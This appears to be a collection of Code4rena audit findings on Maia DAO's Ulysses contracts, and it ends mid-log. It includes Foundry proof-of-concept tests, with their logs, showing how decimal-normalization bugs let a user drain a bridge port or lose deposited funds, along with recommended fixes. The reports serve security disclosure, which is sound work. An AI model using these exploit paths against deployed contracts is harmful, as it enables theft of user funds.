Maia DAO Ecosystem - BPZ's results

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-amm/UlyssesPool.sol#L260

Vulnerability details

Underflow due to incorrect comparison

leftOverBandwidth is underflowed due to incorrect comparison of oldTotalWeights and newTotalWeights.

Proof of Concept

247         uint256 leftOverBandwidth;
248        
249                BandwidthState storage poolState = bandwidthStateList[poolIndex];
250                poolState.weight = weight;
251        
252                if (oldTotalWeights > newTotalWeights) {
253                    for (uint256 i = 1; i < bandwidthStateList.length;) {
254                        if (i != poolIndex) {
255                            uint256 oldBandwidth = bandwidthStateList[i].bandwidth;
256                            if (oldBandwidth > 0) {
257                                bandwidthStateList[i].bandwidth =
258                                    oldBandwidth.mulDivUp(oldTotalWeights, newTotalWeights).toUint248();
259        
260                                leftOverBandwidth += oldBandwidth - bandwidthStateList[i].bandwidth;
261                            }
262                        }

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-amm/UlyssesPool.sol#L260

Here initially consider this check oldTotalWeights > newTotalWeights, and calculate the

    bandwidthStateList[i].bandwidth =
                                oldBandwidth.mulDivUp(oldTotalWeights, newTotalWeights).toUint248();
                                

Due to above condition ,

   oldBandwidth.mulDivUp(oldTotalWeights, newTotalWeights).toUint248()  > oldBandwidth
   

Its meaning ,

  bandwidthStateList[i].bandwidth > oldBandwidth

So eventually ,

  leftOverBandwidth += oldBandwidth - bandwidthStateList[i].bandwidth < 0 

Initial value is leftOverBandwidth is zero. So leftOverBandwidth is going to be negative then its reverted.

Tools Used

Vs code

Recommended Mitigation Steps

Use

  leftOverBandwidth +=  bandwidthStateList[i].bandwidth - oldBandwidth ;  for line 260 

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/ArbitrumBranchBridgeAgent.sol#L102-L106 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/ArbitrumBranchPort.sol#L45-L55 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/ArbitrumBranchBridgeAgent.sol#L114-L116 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/ArbitrumBranchPort.sol#L58-L64

Vulnerability details

Impact

The Ulysses Protocol has specific Router, BridgeAgent, and BranchPort contracts designed for the Arbitrum blockchain to facilitate cross chain messaging. User's are able to directly interface with the ArbitrumBranchBridgeAgent contract to deposit an asset through the depositToPort function to be transfered to another chain, or withdraw an asset through the withdrawFromPort function to receive an asset that was transferred from another chain. The protocol has implemented functionality to normalize and denormalize all token amounts to an 18 decimal standard. However, the logic for standardizing the amounts to an 18 decimal format has been applied within the depositToPort and withdrawFromPort functions so that a user will receive substantially more tokens than they deposited when they withdraw if the token has less than 18 decimals. The depositToPort function of the ArbitrumBranchBridge contract normalizes the amount paramter when invoking the depositToPort function of the ArbitrumBranch contract, so the user will only need to transfer the normalized amount of what they specified. The issue is that when the user invokes the withdrawFromPort function, the specified withdraw amount is then denormalized when transfered back to the caller. For tokens with less than 18 decimals, this means a user will receive substantially more tokens than they deposited. As an example to illustrate this, if a user deposits 1,000,000 USDC, where the token's decimal value is 6, the normalized deposit amount would evaluate to 1 based on the _normalizeDecimals function's logic, so the user would only need to transfer 1 USDC. Then, when the user invokes the withdrawFromPort function, specifying the amount as 1 hUSDC (hToken repsentation of USDC), they will receive 1,000,000 USDC amounting to a net gain of 999,999 USDC. Outside of USDC, there are several other tokens such as USDT and WBTC that will have a similar effect due to their decimal values being less than 18. We believe this to be a high severity vulnerability because it will allow malicious users to drain liquidity from the protocol and most importantly, user funds, which will have severe implications for the general functionality of the protocol.

Proof of Concept

Please see the following foundry test that simulates the described vulnerability and its mentioned side effects:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import {console} from "forge-std/Console.sol";

import "./ulysses-omnichain/ArbitrumBranchTest.t.sol";

/// @notice The following test case simulates the described vulnerability
/// of how a user will receive additional tokens when invoking the depositToPort
/// and then the withdrawFromPort of the ArbitrumBranchBridgeAgent contract with
/// a ERC20 token that has less than 18 decimals.
/// @dev This test case can be run locally from the 'contracts/test' directory of
/// the repository.
contract POC is ArbitrumBranchTest {
    MockERC20 mockToken;
    ERC20hTokenRoot newMockTokenGlobalAddress;
    address user;

    uint8 constant DECIMALS = 6;

    function setUpTest() private {
        // Add Avax asset
        testAddGlobalToken();

        // Mock token with less than 18 decimals
        mockToken = new MockERC20("Token", "TKN", DECIMALS);

        user = hevm.addr(1);

        mockToken.mint(user, 1_000_000_000_000);

        // Provide the ArbitrumBranchPort with additional liquidity
        // to faciliate test case
        mockToken.mint(address(localPortAddress), 1_000_000_000_000);

        arbitrumCoreRouter.addLocalToken(address(mockToken));

        newMockTokenGlobalAddress = ERC20hTokenRoot(
            RootPort(rootPort).getLocalTokenFromUnder(
                address(mockToken),
                rootChainId
            )
        );
    }

    function testDepositToPortWithdrawFromPortNonStandardDecimals() public {
        // Setup
        setUpTest();

        // Initial balances for test assertions
        uint256 userInitialBalance = mockToken.balanceOf(user);
        uint256 branchPortInitialBalance = mockToken.balanceOf(
            address(localPortAddress)
        );

        hevm.startPrank(user);

        mockToken.approve(address(localPortAddress), 1_000_000_000_000);

        // Deposit to port.
        arbitrumMulticallBridgeAgent.depositToPort(
            address(mockToken),
            1_000_000_000_000
        );

        uint256 htokenBalance = newMockTokenGlobalAddress.balanceOf(user);

        // Withdraw from port.
        arbitrumMulticallBridgeAgent.withdrawFromPort(
            address(newMockTokenGlobalAddress),
            htokenBalance
        );

        // Ending balances for test assertions.
        uint256 userEndingBalance = mockToken.balanceOf(user);
        uint256 userBalanceDiff = abs(
            int256(userEndingBalance) - int256(userInitialBalance)
        );
        uint256 branchPortEndingBalance = mockToken.balanceOf(
            address(localPortAddress)
        );
        uint256 branchPortBalanceDiff = abs(
            int256(branchPortEndingBalance) - int256(branchPortInitialBalance)
        );

        console.log("User's initial balance: %s", userInitialBalance);
        console.log("User's ending balance: %s", userEndingBalance);
        console.log("User's balance change: %s \n", userBalanceDiff);

        console.log(
            "BranchPort's initial balance: %s",
            branchPortInitialBalance
        );
        console.log("BranchPort's ending balance: %s", branchPortEndingBalance);
        console.log(
            "BranchPort's balance change: %s \n",
            branchPortBalanceDiff
        );

        // Assert that the balances remained the same.
        assertEq(userBalanceDiff, 0);
        assertEq(branchPortBalanceDiff, 0);
    }

    /// @dev helper function to get absolute value from
    /// input.
    function abs(int256 num) private pure returns (uint256) {
        int256 res = num < 0 ? -num : num;
        return uint256(res);
    }
}

For additional reference, here are the logs from the test case:

Logs:
  User's initial balance: 1000000000000
  User's ending balance: 1999999999999
  User's balance change: 999999999999

  BridsgePort's initial balance: 1000000000000
  BridsgePort's ending balance: 1
  BridsgePort's balance change: 999999999999

  Error: a == b not satisfied [uint]
        Left: 999999999999
       Right: 0
  Error: a == b not satisfied [uint]
        Left: 999999999999
       Right: 0

As can be seen from the logs, the user was able to substantially increase their balance through the transactions by almost completely draining the ArbitrumBranchPort contract of its liquidity.

Tools Used

Foundry

Recommended Mitigation Steps

As a mitigation for this, it is recommended to allow hTokens to have the same decimals as their underlying asset. This will allow for a single solution to all vulnerabilities related to decimal standardization within the protocol by ensuring the hTokens are representative of their respective underlying asset in a 1-1 ratio and is gas efficient due to the removal of internal calls to the _normalizeDecimals function and the _denormalizeDecimals function. This mitigation can be implemented by refactoring the ERC20hTokenBranch contract to allow its constructor to pass a decimals parameter to the instantiation of solmate's ERC20 implementation as shown below:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Ownable} from "solady/auth/Ownable.sol";

import {ERC20} from "solmate/tokens/ERC20.sol";

import {IERC20hTokenBranch} from "../interfaces/IERC20hTokenBranch.sol";

/// @title ERC20 hToken Branch Contract
contract ERC20hTokenBranch is ERC20, Ownable, IERC20hTokenBranch {
    constructor(
        string memory _name,
        string memory _symbol,
        address _owner,
        // @audit recommended mitigation
        uint8 _decimals
    )
        ERC20(
            string(string.concat("Hermes - ", _name)),
            string(string.concat("h-", _symbol)),
            _decimals
        )
    {
        _initializeOwner(_owner);
    }

The ERC20hTokenRoot contract would need to be refactored similarly:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Ownable} from "solady/auth/Ownable.sol";
import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";

import {ERC20} from "solmate/tokens/ERC20.sol";

import {IERC20hTokenRoot} from "../interfaces/IERC20hTokenRoot.sol";

/// @title ERC20 hToken Contract
contract ERC20hTokenRoot is ERC20, IERC20hTokenRoot {
    using SafeTransferLib for address;

    /// @inheritdoc IERC20hTokenRoot
    uint256 public localChainId;

    /// @inheritdoc IERC20hTokenRoot
    address public rootPortAddress;

    /// @inheritdoc IERC20hTokenRoot
    address public localBranchPortAddress;

    /// @inheritdoc IERC20hTokenRoot
    address public factoryAddress;

    /// @inheritdoc IERC20hTokenRoot
    mapping(uint256 => uint256) public getTokenBalance;

    /**
     * @notice Constructor for the ERC20hTokenRoot Contract.
     *     @param _localChainId Local Network Identifier.
     *     @param _factoryAddress Address of the Factory Contract.
     *     @param _rootPortAddress Address of the Root Port Contract.
     *     @param _name Name of the Token.
     *     @param _symbol Symbol of the Token.
     */
    constructor(
        uint256 _localChainId,
        address _factoryAddress,
        address _rootPortAddress,
        string memory _name,
        string memory _symbol,
        // @audit recommended mitigation
        uint8 _decimals
    )
        ERC20(
            string(string.concat("Hermes ", _name)),
            string(string.concat("h-", _symbol)),
            _decimals
        )
    {
        require(
            _rootPortAddress != address(0),
            "Root Port Address cannot be 0"
        );
        require(_factoryAddress != address(0), "Factory Address cannot be 0");
        localChainId = _localChainId;
        factoryAddress = _factoryAddress;
        rootPortAddress = _rootPortAddress;
    }

Lastly, all references to the _normalizeDecimals function and the _denormalizeDecimals function would need to be removed from the protocol. Additionally, this decimal standardization logic can be relocated and implemented within the Ulysses AMM Protocol to allow the protocol to support trading of tokens with decimal values that are not equal to 18. Relocating this logic to the AMM Protocol will allow for a more distinct seperation of concerns between the AMM and Omnichain Protocol as well as reducing the complexity of the Omnichain Protocol that is a result of the current decimal standardization functionality.

Assessed type

Other

Lines of code

highlighted example: https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L192 additionally affected: https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L206 additionally affected: https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L238 additionally affected: https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L275

Vulnerability details

Impact

The callOutAndBridge function of the BranchBridgeAgent contract allows for a user to deposit and perform a cross chain transfer of a respective asset. Additionally, the protocol has implemented functionality to normalize and denormalize all token amounts to an 18 decimal standard. Deposit amounts are normalized within the internal _calloutAndBridge function when encoding the calldata that will be sent to the local AnyCallProxy to facilitate the cross chain messaging. An important detail is that, while the deposit amount encoded in the calldata is normalized, the non-normalized deposit amount is passed to the _depositAndCall function and then the _createDepositSingle function as a seperate parameter eventually being used to invoke the local BranchPort's bridgeOut function. If applicable, the specified hToken and token amounts will then be transfered to the local BranchPort contract. However, a critical detail is that the _deposit parameter is denormalized when transfering the underlying asset from the user to the local BranchPort contract. This descrepency between the encoded and normalized deposit amount provded to the local AnyCallProxy and the denormalized deposit amount used to invoke the safeTransferFrom function means that the user will lose a substrantial amount of tokens when performing a cross-chain transfer of an asset that has a decimal value that is less than 18. This is because the _denormalizeDecimals function will increase the specified deposit amount that the user transfers to the local BranchPort contract and the _normalizeDecimals function will decrease the amount of tokens eventually transfered back to the user on the destination chain. To further illustrate this, if a user invokes the callOutAndBridge function, specifying a deposit amount equal to 0.000001 USDC which has a decimal value eqaul to 6, they will have to transfer in 1,000,000 USDC to the local BranchPort due to the _deposit paramter being denormalized, and they will receieve 0 tokens on the desintation chain because the encoded and normalized deposit data sent to the AnyCallProxy will round 0.000001 USDC down to 0. Outside of USDC, there are several other tokens such as USDT and WBTC which will have a similar effect because their decimal values are less than 18 as well. We believe this to be a high severity vulnerability because this will cause a substantial, if not complete, loss of user funds when attempting to to transfer tokens with less than 18 decimals.

Additionally, it is worth noting, that the following functions within the BranchBridgeAgent contract will have the same effect when depositing an asset, or multiple assets, for cross chain transfers with less than 18 decimals because the same logic has been employed:

• callOutAndBridgeMultiple
• callOutSignedAndBridge
• callOutSignedAndBridgeMultiple

Proof of Concept

Please see the following foundry test that simulates the described vulnerability and its mentioned side effects:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import {console} from "forge-std/console.sol";

import {ERC20} from "solmate/tokens/ERC20.sol";

import "test/ulysses-omnichain/BranchBridgeAgentTest.t.sol";

/// @notice The following test case simulates the described vulnerability of how
/// a user will receive less tokens than were deposited when utlizing the callOutAndBridge
/// functionality of the BranchBridgeAgent contract with an ERC20 token that
/// has less than 18 decimals.
/// @dev This test case can be run locally from the 'contracts/test' directory of
/// the repository.
contract POC is BranchBridgeAgentTest {
    MockERC20 mockToken;
    ERC20hTokenBranch mockTokenLocalAddress;
    address user;

    uint8 constant DECIMALS = 6;

    function setUpTest() private {
        // Mock token with less than 18 decimals
        mockToken = new MockERC20("Token", "TKN", DECIMALS);

        mockTokenLocalAddress = new ERC20hTokenBranch(
            "mock underlying token",
            "hMTKN",
            localPortAddress
        );

        user = vm.addr(1);

        mockToken.mint(user, 1_000_000_000_000);

        mockToken.mint(localPortAddress, 1_000_000_000_000);

        // Provide user with gas
        vm.deal(address(user), 1 ether);

        // Mock response to calls to context
        vm.mockCall(
            localAnyCallExecutorAddress,
            abi.encodeWithSignature("context()"),
            abi.encode(rootBridgeAgentAddress, rootChainId, 22)
        );
    }

    function testCallOutAndBridgeNonStandardDecimals() public {
        // Setup
        setUpTest();

        // Initial balances for test assertions
        uint256 userInitialBalance = mockToken.balanceOf(user);
        uint256 branchPortInitialBalance = mockToken.balanceOf(
            address(localPortAddress)
        );

        vm.startPrank(user);

        // Approve amount greater than deposit to facilitate test
        mockToken.approve(address(localPortAddress), 1_000_000_000_000);

        DepositInput memory depositInput = DepositInput({
            hToken: address(mockTokenLocalAddress),
            token: address(mockToken),
            amount: 1,
            deposit: 1,
            toChain: rootChainId
        });

        // Deposit
        bAgent.callOutAndBridge{value: 1 ether}(
            bytes("test"),
            depositInput,
            0.5 ether
        );

        // Retrieve created deposit
        Deposit memory deposit = bAgent.getDepositEntry(1);

        vm.stopPrank();

        // Encode settlement data
        bytes memory settlementData = abi.encodePacked(
            bytes1(0x01),
            deposit.owner,
            uint32(1),
            deposit.hTokens[0],
            deposit.tokens[0],
            deposit.amounts[0],
            _normalizeDecimals(
                deposit.deposits[0],
                ERC20(deposit.tokens[0]).decimals()
            ),
            bytes(""),
            uint128(0.5 ether)
        );

        // Call 'clearToken'
        vm.startPrank(localAnyCallExecutorAddress);
        bAgent.anyExecute(settlementData);

        // Ending balances for test assertions.
        uint256 userEndingBalance = mockToken.balanceOf(user);
        uint256 userBalanceDiff = abs(
            int256(userEndingBalance) - int256(userInitialBalance)
        );
        uint256 branchPortEndingBalance = mockToken.balanceOf(
            address(localPortAddress)
        );
        uint256 branchPortBalanceDiff = abs(
            int256(branchPortEndingBalance) - int256(branchPortInitialBalance)
        );

        console.log("User's initial balance: %s", userInitialBalance);
        console.log("User's ending balance: %s", userEndingBalance);
        console.log("User's balance change: %s \n", userBalanceDiff);

        console.log(
            "BranchPort's initial balance: %s",
            branchPortInitialBalance
        );
        console.log("BranchPort's ending balance: %s", branchPortEndingBalance);
        console.log(
            "BranchPort's balance change: %s \n",
            branchPortBalanceDiff
        );

        // Assert that the balances remianed the same.
        assertEq(userBalanceDiff, 0);
        assertEq(branchPortBalanceDiff, 0);
    }

    /// @dev local implementation of the _normalizeDecimals function
    function _normalizeDecimals(
        uint256 _amount,
        uint8 _decimals
    ) internal pure returns (uint256) {
        return
            _decimals == 18 ? _amount : (_amount * (10 ** _decimals)) / 1 ether;
    }

    /// @dev helper function to get absolute value from
    /// input.
    function abs(int256 num) private pure returns (uint256) {
        int256 res = num < 0 ? -num : num;
        return uint256(res);
    }
}

For additional reference, here are the logs from the test case:

Logs:
  User's initial balance: 1000000000000
  User's ending balance: 0
  User's balance change: 1000000000000

  BranchPort's initial balance: 1000000000000
  BranchPort's ending balance: 2000000000000
  BranchPort's balance change: 1000000000000

  Error: a == b not satisfied [uint]
        Left: 1000000000000
       Right: 0
  Error: a == b not satisfied [uint]
        Left: 1000000000000
       Right: 0

As can be seen from the logs, the user loses the entirety of their balance through this transaction.

Tools Used

Foundry

Recommended Mitigation Steps

As a mitigation for this, it is recommended to allow hTokens to have the same decimals as their underlying asset. This will allow for a single solution to all vulnerabilities related to decimal standardization within the protocol by ensuring the hTokens are representative of their respective underlying asset in a 1-1 ratio and is gas efficient due to the removal of internal calls to the _normalizeDecimals function and the _denormalizeDecimals function. This mitigation can be implemented by refactoring the ERC20hTokenBranch contract to allow its constructor to pass a decimals parameter to the instantiation of solmate's ERC20 implementation as shown below:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Ownable} from "solady/auth/Ownable.sol";

import {ERC20} from "solmate/tokens/ERC20.sol";

import {IERC20hTokenBranch} from "../interfaces/IERC20hTokenBranch.sol";

/// @title ERC20 hToken Branch Contract
contract ERC20hTokenBranch is ERC20, Ownable, IERC20hTokenBranch {
    constructor(
        string memory _name,
        string memory _symbol,
        address _owner,
        // @audit recommended mitigation
        uint8 _decimals
    )
        ERC20(
            string(string.concat("Hermes - ", _name)),
            string(string.concat("h-", _symbol)),
            _decimals
        )
    {
        _initializeOwner(_owner);
    }

The ERC20hTokenRoot contract would need to be refactored similarly:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Ownable} from "solady/auth/Ownable.sol";
import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";

import {ERC20} from "solmate/tokens/ERC20.sol";

import {IERC20hTokenRoot} from "../interfaces/IERC20hTokenRoot.sol";

/// @title ERC20 hToken Contract
contract ERC20hTokenRoot is ERC20, IERC20hTokenRoot {
    using SafeTransferLib for address;

    /// @inheritdoc IERC20hTokenRoot
    uint256 public localChainId;

    /// @inheritdoc IERC20hTokenRoot
    address public rootPortAddress;

    /// @inheritdoc IERC20hTokenRoot
    address public localBranchPortAddress;

    /// @inheritdoc IERC20hTokenRoot
    address public factoryAddress;

    /// @inheritdoc IERC20hTokenRoot
    mapping(uint256 => uint256) public getTokenBalance;

    /**
     * @notice Constructor for the ERC20hTokenRoot Contract.
     *     @param _localChainId Local Network Identifier.
     *     @param _factoryAddress Address of the Factory Contract.
     *     @param _rootPortAddress Address of the Root Port Contract.
     *     @param _name Name of the Token.
     *     @param _symbol Symbol of the Token.
     */
    constructor(
        uint256 _localChainId,
        address _factoryAddress,
        address _rootPortAddress,
        string memory _name,
        string memory _symbol,
        // @audit recommended mitigation
        uint8 _decimals
    )
        ERC20(
            string(string.concat("Hermes ", _name)),
            string(string.concat("h-", _symbol)),
            _decimals
        )
    {
        require(
            _rootPortAddress != address(0),
            "Root Port Address cannot be 0"
        );
        require(_factoryAddress != address(0), "Factory Address cannot be 0");
        localChainId = _localChainId;
        factoryAddress = _factoryAddress;
        rootPortAddress = _rootPortAddress;
    }

Lastly, all references to the _normalizeDecimals function and the _denormalizeDecimals function would need to be removed from the protocol. Additionally, this decimal standardization logic can be relocated and implemented within the Ulysses AMM Protocol to allow the protocol to support trading of tokens with decimal values that are not equal to 18. Relocating this logic to the AMM Protocol will allow for a more distinct seperation of concerns between the AMM and Omnichain Protocol as well as reducing the complexity of the Omnichain Protocol that is a result of the current decimal standardization functionality.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/ArbitrumBranchBridgeAgent.sol#L102

Vulnerability details

Significant roundoff error in depositToPort function (ArbitrumBranchBridgeAgent.sol )

This issue is caused with different decimals than 18. As an Eg USDC, WBTC. Let's consider the USDC as the case scenario. If User deposit USDC into the depositToPort function, He needs to enter the amount as at least 1Million USDC (underlying) in order to mint 1 wei of localtoken. But here actually user sends the 1 wei of USDC (10^-6). So user is confused what's going with there since he needs to enter the values as a minimum of 1Million USDC, but the actual sending amount is 1 wei of USDC.

Proof of Concept

    function depositToPort(address underlyingAddress, uint256 amount) external payable lock {
        IArbPort(localPortAddress).depositToPort(
            msg.sender, msg.sender, underlyingAddress, _normalizeDecimals(amount, ERC20(underlyingAddress).decimals())
        );
    }

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/ArbitrumBranchBridgeAgent.sol#L102C5-L106C6

    function depositToPort(address _depositor, address _recipient, address _underlyingAddress, uint256 _deposit)
        external
        requiresBridgeAgent
    {
        address globalToken = IRootPort(rootPortAddress).getLocalTokenFromUnder(_underlyingAddress, localChainId);
        if (globalToken == address(0)) revert UnknownUnderlyingToken();

        _underlyingAddress.safeTransferFrom(_depositor, address(this), _deposit);

        IRootPort(rootPortAddress).mintToLocalBranch(_recipient, globalToken, _deposit);
    }

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/ArbitrumBranchPort.sol#L45C1-L55C6

User need to enter the amount as more than 1Million USDC in to depositToPort function. But the actual amount sent is only 10^-6 of USDC.

He will be minted 1wei of local token. Here root cause of this issue is, not using the correct equation for normalize & denormalize functions as well as needed to use the _normalizeDecimals function between the asset amount & minting token amount. But here initially amount is normalized then transfer the undelying token & minting the same amount of local token. Borth reasons caused an error.

Tools Used

Manual Auditing

Recommended Mitigation Steps

There are 2 sets of mitigation steps here.

Mitigation 1:

Remove the normalize & denormalize between the assets to minting amount. Then consider the apply same decimals to local token.

Mitigation 2:

Correct normalize/ denormalize functions as well as depositToPort & withdrawFromPort functions given below.

    function depositToPort(address underlyingAddress, uint256 amount) external payable lock {
        IArbPort(localPortAddress).depositToPort(
            // @audit correction.
            msg.sender, msg.sender, underlyingAddress, amount
        );
    }

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/ArbitrumBranchBridgeAgent.sol#L102C5-L106C6

    function _normalizeDecimals(uint256 _amount, uint8 _decimals) internal pure returns (uint256) {
        // @audit correction.
        return _decimals == 18 ? _amount : _amount * 1 ether / (10 ** _decimals);
    }

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L1340C2-L1342C6

    function _denormalizeDecimals(uint256 _amount, uint8 _decimals) internal pure returns (uint256) {
        // @audit correction.
        return _decimals == 18 ? _amount : _amount * (10 ** _decimals) / 1 ether;
    }

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchPort.sol#L388C1-L391C1

    function depositToPort(address _depositor, address _recipient, address _underlyingAddress, uint256 _deposit)
        external
        requiresBridgeAgent
    {
        address globalToken = IRootPort(rootPortAddress).getLocalTokenFromUnder(_underlyingAddress, localChainId);
        if (globalToken == address(0)) revert UnknownUnderlyingToken();

        // @audit correction.
        _underlyingAddress.safeTransferFrom(_depositor, address(this), _normalizeDecimals(amount, ERC20(underlyingAddress).decimals()));

        IRootPort(rootPortAddress).mintToLocalBranch(_recipient, globalToken, _deposit);
    }

    ///@inheritdoc IArbitrumBranchPort
    function withdrawFromPort(address _depositor, address _recipient, address _globalAddress, uint256 _deposit)
        external
        requiresBridgeAgent
    {
        if (!IRootPort(rootPortAddress).isGlobalToken(_globalAddress, localChainId)) {
            revert UnknownToken();
        }

        address underlyingAddress = IRootPort(rootPortAddress).getUnderlyingTokenFromLocal(_globalAddress, localChainId);

        if (underlyingAddress == address(0)) revert UnknownUnderlyingToken();

        IRootPort(rootPortAddress).burnFromLocalBranch(_depositor, _globalAddress, _deposit);

        underlyingAddress.safeTransfer(_recipient, _denormalizeDecimals(_deposit, ERC20(underlyingAddress).decimals()));
    }

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/ArbitrumBranchPort.sol#L45C1-L73C6

Assessed type

Decimal

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-amm/UlyssesToken.sol#L60-L85

Vulnerability details

Impact

The UlyssesToken contract provides the owner with the ability to remove an asset through the removeAsset function. The UlyssesToken is an ERC4626 multiple token implementation intended for Ulysses Pools, so the intended functionallity of the removeAsset function is to allow the owner to remove a specific asset with its respective weight from the configuration for the collateral backing the UlyssesToken. However, if an asset is removed that is not the last element within the assets array, the function incorrectly updates the assetId mapping value of the element that is currently in the last position of the assets array because the assetIndex variable references the asset's position that is being removed offset by 1, not it's current position:

uint256 assetIndex = assetId[asset] - 1;

The asset that had it's position swapped with the removed asset will then have an incorrect reference to its respective positions with-in the assets and weights arrays. This is extremely problematic because if the owner then eventually attempts to remove an asset that has had its position swapped by the removeAsset function the wrong asset and respective weight will be removed because the assetId mapping contains an incorrect reference to the asset's position. This has serious implications for the protocol because it will cause the owner to unknowingly remove the wrong assets and weights. Moreoever, as illustrated by the POC, this functionallity will even lead to assets being assigned an assetId value of 0 causing an underflow error here meaning certain assets can never be removed. We believe this to be a high severity finding because it will cause the owner to lose the ability to control the configuration for the token's underlying collateral which will have a dirrect effect on user funds.

Proof of Concept

Please see the following foundry test that simulates the described vulnerability and demonstrates its side effects:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import {console} from "forge-std/Console.sol";

import {IERC4626MultiToken} from "../src/erc-4626/interfaces/IERC4626MultiToken.sol";
import {IUlyssesToken} from "../src/ulysses-amm/interfaces/IUlyssesToken.sol";
import "./ulysses-amm/UlyssesTokenTest.t.sol";

/// @notice The following test case simulates the described vulnerability
/// of how the asset properties are not updated correctly when an asset is
/// is removed that is not the last asset in the 'assets' array.
/// @dev This test case can be run locally from the 'contracts/test' directory of
/// the repository. This test is currently setup up to work with the initial state
/// defined by UlyssesTokenHandler's setUp function where NUM_ASSETS = 4.
contract POC is InvariantUlyssesToken {
    mapping(address => uint256) assetToWeight;

    function testRemoveAssets() public {
        // Cache mapping of asset to its defined weight.
        mapAssetsToWeights();

        uint256 expectedTotalWeights = IERC4626MultiToken(_vault_)
            .totalWeights();

        logAssetProperties();

        // Removal #1: remove asset currently at the second position in array.
        address assetToRemove = IERC4626MultiToken(_vault_).getAssets()[1];
        IUlyssesToken(_vault_).removeAsset(assetToRemove);
        // Update expected total weight based on removal.
        uint256 cachedWeight = assetToWeight[assetToRemove];
        expectedTotalWeights -= cachedWeight;

        logAssetProperties();

        // Removal #2: remove asset currently at the second position in array.
        assetToRemove = IERC4626MultiToken(_vault_).getAssets()[1];
        IUlyssesToken(_vault_).removeAsset(assetToRemove);
        cachedWeight = assetToWeight[assetToRemove];
        expectedTotalWeights -= cachedWeight;

        logAssetProperties();

        // Assert that the totalWeights variable has been updated properly.
        uint256 actualTotalWeights = IERC4626MultiToken(_vault_).totalWeights();
        assertEq(actualTotalWeights, expectedTotalWeights);
    }

    /// @dev helper function to cache a variable that maps each asset to
    /// its specified weight. Needed to properly calculate expectedTotalWeights
    /// value without a dependency on the contract's state.
    function mapAssetsToWeights() private {
        address[] memory assets = IERC4626MultiToken(_vault_).getAssets();
        address asset;
        uint256 idx;
        for (uint256 i = 0; i < assets.length; i++) {
            asset = assets[i];
            idx = IERC4626MultiToken(_vault_).assetId(asset) - 1;
            assetToWeight[asset] = IERC4626MultiToken(_vault_).weights(idx);
        }
    }

    uint256 private removalCount;

    /// @dev optional function to log state variables for asset properties
    /// and the totalWeights variable as the values change with each removal.
    function logAssetProperties() private {
        if (removalCount == 0) {
            console.log(
                "------------------------- Initial Values --------------------------"
            );
        } else {
            console.log(
                "--------------------- Values After Removal #%s ---------------------",
                removalCount
            );
        }
        address[] memory assets = IERC4626MultiToken(_vault_).getAssets();
        address curAsset;
        uint256 idx;
        for (uint256 i = 0; i < assets.length; i++) {
            curAsset = assets[i];
            idx = IERC4626MultiToken(_vault_).assetId(curAsset);
            if (idx != 0) {
                /// @dev logs: asset | index | weight
                console.log(
                    "%s         |%s        |%s           ",
                    curAsset,
                    idx,
                    IERC4626MultiToken(_vault_).weights(idx - 1)
                );
            } else {
                /// @dev logs: asset | index | underflow error
                /// indicates weight cannot be determined due to underflow
                console.log(
                    "%s         |%s        |%s           ",
                    curAsset,
                    idx,
                    "underflow error"
                );
            }
        }
        uint256 totalWeights = IERC4626MultiToken(_vault_).totalWeights();
        console.log("totalWeights: %s \n", totalWeights);

        removalCount++;
    }
}

For reference, here are the logs for this test case where, for each removal, each asset's address, index, and weight are logged along with the totalWeights value:

Logs:
  ------------------------- Initial Values --------------------------
  0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f         |1        |10
  0x2e234DAe75C793f67A35089C9d99245E1C58470b         |2        |10
  0xF62849F9A0B5Bf2913b396098F7c7019b51A820a         |3        |20
  0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9         |4        |5
  totalWeights: 45

  --------------------- Values After Removal #1 ---------------------
